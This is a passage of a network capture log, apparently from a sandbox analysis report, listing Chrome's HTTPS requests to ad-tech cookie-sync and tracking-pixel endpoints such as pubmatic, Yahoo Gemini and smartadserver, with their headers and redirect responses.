2024-01-10 23:27:20 UTC	646	OUT	GET /fUD7hqXV/v2?_origin=0&gdpr=0&gdpr_consent=&gpp=&gpp_sid=&us_privacy= HTTP/1.1 Host: match.sharethrough.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://hb.yahoo.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:21 UTC	391	IN	HTTP/1.1 302 Found Date: Wed, 10 Jan 2024 23:27:21 GMT Content-Length: 0 Connection: close Location: https://ups.analytics.yahoo.com/ups/58280/sync?uid=316bb570-8374-4683-a0e9-a8b41619214a&_origin=0&redir=true Set-Cookie: stx_user_id=316bb570-8374-4683-a0e9-a8b41619214a; Max-Age=2592000; Expires=Fri, 09 Feb 2024 23:27:21 GMT; Path=/; Domain=sharethrough.com; Secure; SameSite=None

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
433	192.168.2.4	50227	34.202.68.237	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:20 UTC	4750	OUT	GET /mbcsc?bv=3.0.0&es=AQAAAEj1xGGzm8-291GIun6k2XVJNg-elQ3aLrjLZ4o23qjaS6J6P4siyGOLQBDKDjA9g2cWY0_-VwfvhdHBkbVD_N4bMdeO3cwF0iGS8uUxtGy1oHkKk37b21y8P18qngxgsvzmnev-yv9EyNw41oIE27Kr2QQ_yNRJYEZ5I-KSlTXeVZx4Ned69hUtsrYGE8Xi7xuUxrHUb6UuylkdQpYmGrTCEHIc3y9U7Zijk8aNl_x1OHM0vNng2ydpgnCbnKMwVhICuf1FVFEegXiBpraxO8KJ0vEi1XVN4uPrg6-JdsiXODv8xoF0R0QrMlWt8dkhT-xfWTpBPZ1QgicVr-uUVkLbfr7CfmPNqO-2fCSJKrtvc72gqmQQdJbbG7w5HKU_pLofgs0u_3andYEnuV7AzwOIpTVJ3w8ORpkNPIpKue1lJ2O3BNftPQopg0A1Zee-2Tp99vxdT2Mb6mKFd4EYAPSe-T4XbEGJjyzBmeLfTq6u5j7dMhoqIN5lTDGaHPDufkJLgVw00kJ5pOPVzYNGowxwID_9O-5cL0SciUW7m3fNtMmmcg5fJRkQipY-76tZ0yiWeOUdGcq0hCYhaggOGlUInnqucWswPHFtyHWITg4bZ-VBtuFZNA8YjKUzcUyFIL51UPGeMAa64n1UI_pjRJYUt2DdLDUn8qGtgfKSryW4DgUBAnO1BBuu8SKRjMxGj6ZX5nvWnpOb6FTl5j0-rB6xKQOBQ3JJX6I9Qde52CucB2-P80hcE_Mc5nUKhT9yycsunVx_XPbx-D3vfXfur1UPJ7VfOziCV3lYG58POa-7mYNp1zqFIH9VWvSJ6Cls84cSrRu60MiOAaGqgZZVSYSlPTWcjSoBwjMA76D4BaxhbP8-4ErN3aMndwv7_6JJbgtMRvr19B52Vo9eTbAYzaFInYnkkjYxO9SBTs_cul8imWeQfK_kTDAPik69n1N5CyHDAnZtxx6-TT5oJAivkS2qGOKu-sbPa5Wh34a7b97QMuecMxTByQU8WAoegqSjgNFeEpZThcbRfg0fDIWP1vc-hcG6hfN7lzFoPHyO4p2MEyNi20EfMmqUhB5rAepgMfny0ogpO_DZugFZZOnEut38m0yWpDSssAqRoPXM2YEToUjgrXBDUFVcp-RCsT10sF1DT8ibiWJ3qfwIcZCkmxvkN6hdgwy6UvEiVILbuwWK4B3BFo9gJilJ-VR5fe67PSGSXl0j8qfzTriUZbwoavYxgQjXWpDnXES90SgAlWQOV0ZP4O6OCeKcbchdq9tWLBquPF073D4rkBamzPHJbXH1vDNdUuo7HIv1N1Yxck7FA9lQUMFhFJyT93epdeltdCjL74KKRqOc3tSUYQ-hh5zqW84sUflidsENQepfOU07Wr6KLMlTjqcocCYEh7CYfvqrLV6J9zDhDsixyDpvhl66vksKULOpENvJQwVG0Esjrsb-HkZwuacyTUQ_ZqTm8hH8ZNUASD5Sy043kSx_eGeCjossdtaZBeX7_6FT9IfrG5LyBP3nL6uCacJFMtE1uQUvZA1BbVan-23OybD64vxmL-Ehdd1ima2cJltVTTlG6Sc6Z3WxFBmC-cRC_WZO4S_3nIAj8ilPUuGeBlo7jyodrY58lBY1fyzzF3nLYrXFiVmWiDEUx5tYm4VXDpbRbgF1gpShl1OHStB_oS-8AUtJQS-h6IlUQ7J8hqg8X7SKjfjTAAw6Ec1UMHtPx3fsMUAorDq0aaDasvtX-pEUlnpN_W19704HfzOFOO6tiec37SsG01cLuVbAwAon1EWO_hCDDrdr2Vm3AelLDrGAWpHUPuf2bBtmswfSISLm4t6aPNepI_iEjTiRA7aRXg58b5yxTnQHwbz8Cizm46NHGoJcHPTpnFq9Or4MWsLq4dd4e4kioP7tKGR31qdBfIXEn93vDxlg6XeXF5ohbBp_VhDLJQOHP3Ot9PBLj_BsWySPbxcabSejOmAUEmSUVEW6poDViRcBGnHo_bAu6NXgk10GQHLBWzSZluNa0VzgLJLrHrdzFMj_I9S1rktoECEPlMnpzmg6JOqqkAxOQcBauzOZNIr20I9EVyRSQ_4zbxYFSP1YLd8s3eZgdqQ_-NkBBUBJMmIi9vaISAVbRwJofcg4FpsG7lONuVd_i49OT40ju1FvVsTnY5Rb4I_BdcdCK2sH84kFn2GUpazej0gw0mz01qrcFWPcaIhtlG8xjT6dVk4CxWnaBKPGAjpYNkd0utZdVLWykPv7GOSKsuzA30FMXI9ZBDW9aoJ8mquK_mbJpU5fGp_eO0NGR9Lo3ge_1yw3wjemdSxkoLGxQNE8QKwQPjNaxH5yoRplPgAUv3SkGIotvfc3e9aqKUaQ7q-K8FO2OoIdvEbNlyAMK-cTPHomefNazcvTTPC8irtZqAhpvqx-UZiq_xy0Z4KXmZheJf9givKH0dGE280Wd37oY0ZIlyrruDLIaIrOrnXY6Ugt_tlaBqr0qJzzAS6PW_MvTikYXTGUkBC4wU4aPgEfCeVnvIr4qOrg-KornsNMOFitlvPHKJPwtX12B_QuNhnEyFompTcKWsM4543BkzmrSZStPc4QBuZqiCuRaxyLzcSuA_vVrpPz7PnIO1kNxPMoyRVRBqpWSjDvGrd4ow6nwxYde2TPpuQVXB_S62BVeykXpQcTNy2kKa_e-2VGnRY7WjexQv3GjMr8Halj_N2l8gWfYR8sLT0Xlzvc21ib--JohGgckIHACyAMDEKsyR9XMyj0JtEVvcgSdU8hccsg9cOpTKYMUS0e-gn-ZZ4NxtiqF4c3VS0v08rBcE-AaDLhr7km4v4XJTErDuJkEsnfhgi5hewN_X-u2896uGThyBNUzcmJhYDrKmZcmJDopVHucpSTSvZtXZpQ1RnfPXf9BuUC0JLLC9lPhUcpl4sW0847KQvYMvmpgFGGXRQzt_5p7QpAYyo-YRzHu-l3ETRa6fMRUKbizb9xslcSNWY0yz7n_62IitbCrddDamYUZZmkI2I2V7CfZHVzgUEV-kVRY7iEUASRyZnLQwCOpcjjgn069L5HWU54t3GhLkepw0ZOit267p7QTdKw7ftmzgR20t1hCDax7m_1CplKK3g7YeNxwWWlIXsjg-lfA4h1gM0RRY6GurZPqr8g35wC4eSKdDJQueYb1nnU2YxuykDE6nW8JgVoHN-92J5rmvdhuZJKvVGWwbOdbXAcO533kNFtVnTduDAEW4Hso_c600dc1AXJ8KXhRx89eo8he47rmU_N5jQcmtPzllYvn1Z0N46a6_BKMtlXzKahl4nRUm0V5IdHiyfAunENjZ2PnsPQvIVWHpGTSMtgIioGEmsFmZxJ5lBK3PiJJYzoBypcrsf1s9R3U6FEkheWoNFJ4RgHHiM9RhN0E4bUisS2AoBJPiVG41E30PkuaEC9o6W0Sjzs6WP6ZuWMGAX-HasSmnXvB6nPCQ6LDcmTemTlTwmyXvGwmJ5S_7ijp12bSj03UBMt0tJrECO6xGLqjoQVMIrsfDF2sUmjUQbg7I8RWWXRSWOkd9Ct1knGHbIE9Uk2n8Zatf4WtfQElrO7hy8WzkzoHrbKxucpyCypZsIoUS6IplNtnIdMql0U3ILymFzjE2X9BOujhxQYZucB-5CAuo4aX1G4wmgjBSXaM_AFrCjAgJWvnTPwfwbHx9XRig18l1YCOZJXupb1Y9YEioUx3LQd9cIQJ6SBRg3BnxGUZFRVSoMoPCNJlgHC44odIDKm2Wt1mNKQ&ap=pp%3Dm%2Cpi%3D1 HTTP/1.1 Host: a.beap.gemini.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51
2024-01-10 23:27:21 UTC	1713	IN	HTTP/1.1 200 OK Date: Wed, 10 Jan 2024 23:27:21 GMT Content-Length: 0 Connection: close Age: 0 Strict-Transport-Security: max-age=31536000 Server: ATS Public-Key-Pins-Report-Only: max-age=2592000; pin-sha256="2fRAUXyxl4A1/XHrKNBmc8bTkzA7y4FB/GLJuNAzCqY="; pin-sha256="I/Lt/z7ekCWanjD0Cvj5EqXls2lOaThEA0H2Bg4BT/o="; pin-sha256="K87oWBWM9UZfyddvDfoxL+8lpNyoUB2ptGtn0fv6G2Q="; pin-sha256="Wd8xe/qfTwq3ylFNd3IpaqLHZbh2ZNCLluVzmeNkcpw="; pin-sha256="WoiWRyIOVNa9ihaBciRSC7XHjliYS9VwUGOIud4PB18="; pin-sha256="cGuxAXyFXFkWm61cF4HPWX8S0srS9j0aSqN0k4AP+4A="; pin-sha256="dolnbtzEBnELx/9lOEQ22e6OZO/QNb6VSSX2XHA3E7A="; pin-sha256="i7WTqTvh0OioIruIfFR4kMPnBqrS2rdiVPl/s2uC/CY="; pin-sha256="r/mIkG3eEpVdm+u/ko/cwxzOMo1bk4TyHIlByibiA5E="; pin-sha256="uUwZgwDOxcBXrQcntwu+kYFpkiVkOaezL0WYEZ3anJc="; includeSubdomains; report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-hpkp-report-only" Expect-CT: max-age=31536000; report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"; X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Set-Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; Expires=Fri, 10 Jan 2025 05:27:21 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=Lax; Secure; HttpOnly Set-Cookie: A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; Expires=Fri, 10 Jan 2025 05:27:21 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly Set-Cookie: A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; Domain=.yahoo.com; Path=/; SameSite=Lax; Secure

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
434	192.168.2.4	50225	35.211.178.172	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:20 UTC	1108	OUT	GET /sync?ssp=pubmatic&gdpr=0&gdpr_consent=&us_privacy= HTTP/1.1 Host: x.bidswitch.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: tuuid=f6435827-796b-4521-81e9-11e581628f69; c=1704929237; tuuid_lu=1704929239; custom_data=QlAo019tRTNxWDVXWFQxbDFBOUZMYmFuOVh2Zk5JNiUyQnVxUWx5dCUyQnBRbW5qRVlEZWdCSnE0eUpKMVdJRlNNaHRWV1o2eFh3bGVpWHNOOE1GWGlvUjB3RnNES0ZNSUJRN2k0JTJCUG8zOE9YekU3VWpNRktVckMyWGlzc0hRMmtBRHFUZ2U5VW9BWVRBUVdlRFlUVm81QWlXVTZzMlhBJTJGOUJBWldSTW1TdWFmMmVkRE95QVMzTGclMkZWU040cTFEUWl6TiUyQnNXQU0
2024-01-10 23:27:21 UTC	254	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Wed, 10 Jan 2024 23:27:21 GMT Content-Length: 0 Connection: close Cache-Control: no-cache, no-store, must-revalidate Location: //p.rfihub.com/cm?in=1&pub=20513&ssp=pubmatic&gdpr=0&gdpr_consent=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
435	192.168.2.4	50230	162.248.18.37	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:21 UTC	1918	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTc4JnRsPTE1NzY4MDA=&piggybackCookie=7367141199740274687&gdpr=0&gdpr_consent= HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; PugT=1704929239; SPugT=1704929239; chkChromeAb67Sec=2; pi=0:4; DPSync3=1706054400%3A262_261_260_259_201_263%7C1704931200%3A248%7C1705449600%3A265; SyncRTB3=1706054400%3A250_104_165_3_178_54_22_55_5_231_71_166_220_21_13_8%7C1705449600%3A223_2_15%7C1705708800%3A63
2024-01-10 23:27:21 UTC	614	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 10 Jan 2024 23:27:20 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; domain=pubmatic.com; SameSite=None; secure; expires=Tue, 09-Apr-2024 23:27:20 GMT; path=/ Set-Cookie: PugT=1704929240; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 09-Feb-2024 23:27:20 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-01-10 23:27:21 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
436	192.168.2.4	50231	192.184.68.215	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:21 UTC	737	OUT	GET /pixel/p-5aWVS_roA1dVM.gif?idmatch=0&gdpr=0&gdpr_consent= HTTP/1.1 Host: cms.quantserve.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:21 UTC	828	IN	HTTP/1.1 302 Found Date: Wed, 10 Jan 2024 23:27:21 GMT Content-Length: 0 Connection: close Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Cache-Control: private, no-cache, no-store, proxy-revalidate Expires: Fri, 04 Aug 1978 12:00:00 GMT Location: https://image2.pubmatic.com/AdServer/Pug?gdpr=0&vcode=bz0yJnR5cGU9MSZjb2RlPTExMTMmdGw9NDMyMDA=&piggybackCookie=L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI- P3p: CP="NOI DSP COR NID CURa ADMa DEVa PSAo PSDo OUR SAMa IND COM NAV" Pragma: no-cache Set-Cookie: d=EIUBCwHvKvijAA; expires=Tue, 09-Apr-2024 23:27:21 GMT; path=/; domain=.quantserve.com; SameSite=None; Secure Set-Cookie: mc=659f27d9-48ea1-51c4a-7520e; expires=Sun, 09-Feb-2025 23:27:21 GMT; path=/; domain=.quantserve.com; SameSite=None; Secure Strict-Transport-Security: max-age=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
437	192.168.2.4	50234	54.208.16.196	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:21 UTC	901	OUT	GET /ping_match.gif?ei=PUBMATIC&rurl=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMwNzQmdGw9MTI5NjAw&piggybackCookie=uid:_wfivefivec_&gdpr=0&gdpr_consent= HTTP/1.1 Host: pm.w55c.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: wfivefivec=Rw6Yt2Jl1RnHYF5; matchmedianet=5
2024-01-10 23:27:21 UTC	773	IN	HTTP/1.1 302 Cache-Control: no-cache, must-revalidate Date: Wed, 10 Jan 2024 23:27:20 GMT Expires: Fri, 01 Jan 1990 00:00:00 GMT Location: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMwNzQmdGw9MTI5NjAw&piggybackCookie=uid:Rw6Yt2Jl1RnHYF5&gdpr=0&gdpr_consent= Pragma: no-cache Server: PingMatch/v2.0.30-795-gb641a57#rel-ec2-master i-0a94eb28cbc7ec6a6@us-east-1e@dxedge-app-us-east-1-prod-asg Set-Cookie: wfivefivec=Rw6Yt2Jl1RnHYF5; Domain=.w55c.net; Expires=Mon, 10-Feb-2025 23:27:21 GMT; Path=/; SameSite=None; Secure Set-Cookie: matchpubmatic=5; Domain=.w55c.net; Expires=Fri, 09-Feb-2024 23:27:21 GMT; Path=/; SameSite=None; Secure Strict-Transport-Security: max-age=2592000; includeSubDomains Content-Length: 0 Connection: Close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
438	192.168.2.4	50236	23.105.14.106	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:21 UTC	974	OUT	GET /redir?partneruserid=AABsm07LPlAAABMLLoldYg&partnerid=127&redirurl=https%3A%2F%2Fmatch.prod.bidr.io%2Fcookie-sync%3Fgdpr%3D0%26gdpr%3D0%26bee_sync_partners%3Dsyn%252Cpm%26bee_sync_current_partner%3Dsas%26bee_sync_initiator%3Dadx%26bee_sync_hop_count%3D3%26userid%3DSMART_USER_ID&gdpr=0 HTTP/1.1 Host: rtb-csync.smartadserver.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:21 UTC	817	IN	HTTP/1.1 302 Found content-length: 0 date: Wed, 10 Jan 2024 23:27:20 GMT cache-control: no-cache,no-store location: https://match.prod.bidr.io/cookie-sync?gdpr=0&gdpr=0&bee_sync_partners=syn%2Cpm&bee_sync_current_partner=sas&bee_sync_initiator=adx&bee_sync_hop_count=3&userid=5415633966123335522&gdpr=0&gdpr_consent= pragma: no-cache set-cookie: pid=5415633966123335522; expires=Sun, 09 Feb 2025 23:27:21 GMT; domain=smartadserver.com; path=/; SameSite=None; secure set-cookie: TestIfCookieP=ok; expires=Sun, 09 Feb 2025 23:27:21 GMT; domain=smartadserver.com; path=/; SameSite=None; secure set-cookie: csync=127:AABsm07LPlAAABMLLoldYg; expires=Fri, 10 Jan 2025 23:27:21 GMT; domain=smartadserver.com; path=/; SameSite=None; secure p3p: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
439	192.168.2.4	50238	8.28.7.83	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:21 UTC	1996	OUT	GET /AdServer/Pug?gdpr=0&vcode=bz0yJnR5cGU9MSZjb2RlPTExMTMmdGw9NDMyMDA=&piggybackCookie=L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI- HTTP/1.1 Host: image2.pubmatic.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; SPugT=1704929239; chkChromeAb67Sec=2; pi=0:4; DPSync3=1706054400%3A262_261_260_259_201_263%7C1704931200%3A248%7C1705449600%3A265; SyncRTB3=1706054400%3A250_104_165_3_178_54_22_55_5_231_71_166_220_21_13_8%7C1705449600%3A223_2_15%7C1705708800%3A63; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; PugT=1704929240
2024-01-10 23:27:21 UTC	760	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 10 Jan 2024 23:27:20 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; domain=pubmatic.com; SameSite=None; secure; expires=Tue, 09-Apr-2024 23:27:20 GMT; path=/ Set-Cookie: PugT=1704929240; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 09-Feb-2024 23:27:20 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-01-10 23:27:21 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
440	192.168.2.4	50237	34.231.250.139	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
